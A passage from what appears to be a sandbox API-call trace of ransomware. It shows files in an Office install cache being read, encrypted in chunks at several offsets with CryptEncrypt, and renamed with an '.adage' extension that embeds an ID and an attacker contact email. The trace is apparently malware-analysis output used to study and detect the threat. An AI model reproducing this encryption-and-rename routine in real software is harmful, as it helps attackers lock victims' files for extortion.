lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0060.785] CloseHandle (hObject=0x188) returned 1 [0060.959] SetEvent (hEvent=0x138) returned 1 [0060.959] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0060.959] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.960] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=2387968) returned 1 [0060.960] CloseHandle (hObject=0x188) returned 1 [0060.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0060.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0060.960] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0060.961] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.961] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0060.961] ReadFile (in: hFile=0x188, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.117] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc2555, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.118] ReadFile (in: hFile=0x188, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.132] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x207000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.132] ReadFile (in: hFile=0x188, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.144] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d8860) returned 1 [0061.144] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0061.144] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060) returned 1 [0061.152] CryptDestroyKey (hKey=0x4d8860) returned 1 [0061.152] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0061.152] WriteFile (in: hFile=0x188, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0112, lpOverlapped=0x0) returned 1 [0061.170] SetEndOfFile (hFile=0x188) returned 1 [0061.170] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x207000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.170] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.340] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc2555, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.340] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.345] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.345] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.346] CloseHandle (hObject=0x188) returned 1 [0061.607] SetEvent (hEvent=0x138) returned 1 [0061.608] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0061.608] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0061.793] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=2408448) returned 1 [0061.793] CloseHandle (hObject=0x188) returned 1 [0061.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0061.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0061.793] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0061.794] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.794] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.794] ReadFile (in: hFile=0x188, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.797] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc4000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.797] ReadFile (in: hFile=0x188, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x20c000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0061.813] ReadFile (in: hFile=0x188, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0061.935] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d86a0) returned 1 [0061.935] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0061.935] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0060) returned 1 [0061.942] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.942] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x188, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0112, lpOverlapped=0x0) returned 1 [0061.959] SetEndOfFile (hFile=0x188) returned 1 [0061.959] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x20c000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.959] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.962] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xc4000, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.962] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.966] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0061.966] WriteFile (in: hFile=0x188, lpBuffer=0x363014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363014a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0061.968] CloseHandle (hObject=0x188) returned 1 [0062.107] SetEvent (hEvent=0x138) returned 1 [0062.164] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0062.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.164] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=3561647) returned 1 [0062.164] CloseHandle (hObject=0x1a4) returned 1 [0062.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0062.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0062.165] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PubLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.165] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0062.165] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0062.165] ReadFile (in: hFile=0x1a4, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0062.185] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x121d8f, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0062.185] ReadFile (in: hFile=0x1a4, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0062.227] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3258af, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0062.227] ReadFile (in: hFile=0x1a4, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0062.243] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d8920) returned 1 [0062.243] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0062.244] CryptEncrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0062.251] CryptDestroyKey (hKey=0x4d8920) returned 1 [0062.251] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0062.252] WriteFile (in: hFile=0x1a4, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0062.908] SetEndOfFile (hFile=0x1a4) returned 1 [0062.908] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x3258af, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0062.908] WriteFile (in: hFile=0x1a4, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0062.911] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x121d8f, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0062.911] WriteFile (in: hFile=0x1a4, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0062.914] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0062.914] WriteFile (in: hFile=0x1a4, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0062.915] CloseHandle (hObject=0x1a4) returned 1 [0063.700] SetEvent (hEvent=0x138) returned 1 [0063.701] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0063.701] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0063.789] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=10079733) returned 1 [0063.789] CloseHandle (hObject=0x184) returned 1 [0063.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0063.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordlr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0063.790] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordLR.cab.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordlr.cab.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0063.790] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0063.790] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0063.790] ReadFile (in: hFile=0x184, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3570058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0063.795] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x3344a7, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0063.795] ReadFile (in: hFile=0x184, lpBuffer=0x35b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35b0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0063.809] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x95cdf5, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0063.809] ReadFile (in: hFile=0x184, lpBuffer=0x35f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x31afe5c, lpOverlapped=0x0 | out: lpBuffer=0x35f0058*, lpNumberOfBytesRead=0x31afe5c*=0x40000, lpOverlapped=0x0) returned 1 [0063.817] CryptImportKey (in: hProv=0x4c5018, pbData=0x31afe40*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x31afeac | out: phKey=0x31afeac*=0x4d8920) returned 1 [0063.817] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0x31aff48, dwFlags=0x0) returned 1 [0063.818] CryptEncrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x3570020*, pdwDataLen=0x31afe60*=0xc0050) returned 1 [0063.826] CryptDestroyKey (hKey=0x4d8920) returned 1 [0063.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe88 | out: lpNewFilePointer=0x0) returned 1 [0063.826] WriteFile (in: hFile=0x184, lpBuffer=0x3570020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x31afe98, lpOverlapped=0x0 | out: lpBuffer=0x3570020*, lpNumberOfBytesWritten=0x31afe98*=0xc0102, lpOverlapped=0x0) returned 1 [0063.974] SetEndOfFile (hFile=0x184) returned 1 [0063.974] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x95cdf5, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0063.974] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0063.976] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x3344a7, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0063.981] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe58 | out: lpNewFilePointer=0x0) returned 1 [0063.981] WriteFile (in: hFile=0x184, lpBuffer=0x363013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x31afe64, lpOverlapped=0x0 | out: lpBuffer=0x363013a*, lpNumberOfBytesWritten=0x31afe64*=0x40000, lpOverlapped=0x0) returned 1 [0063.982] CloseHandle (hObject=0x184) returned 1 [0064.726] SetEvent (hEvent=0x138) returned 1 [0064.727] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x31aff48 | out: pbBuffer=0x31aff48) returned 1 [0064.727] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0064.839] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x31afee0 | out: lpFileSize=0x31afee0*=2101248) returned 1 [0064.839] CloseHandle (hObject=0x184) returned 1 [0064.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0064.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 1 [0064.840] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.msi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0064.840] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0064.840] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afe50 | out: lpNewFilePointer=0x0) returned 1 [0064.840] ReadFile (in: hFile=0x184, lpBuffer=0x3570058, nNumberOfBytesToRead=0x40000, 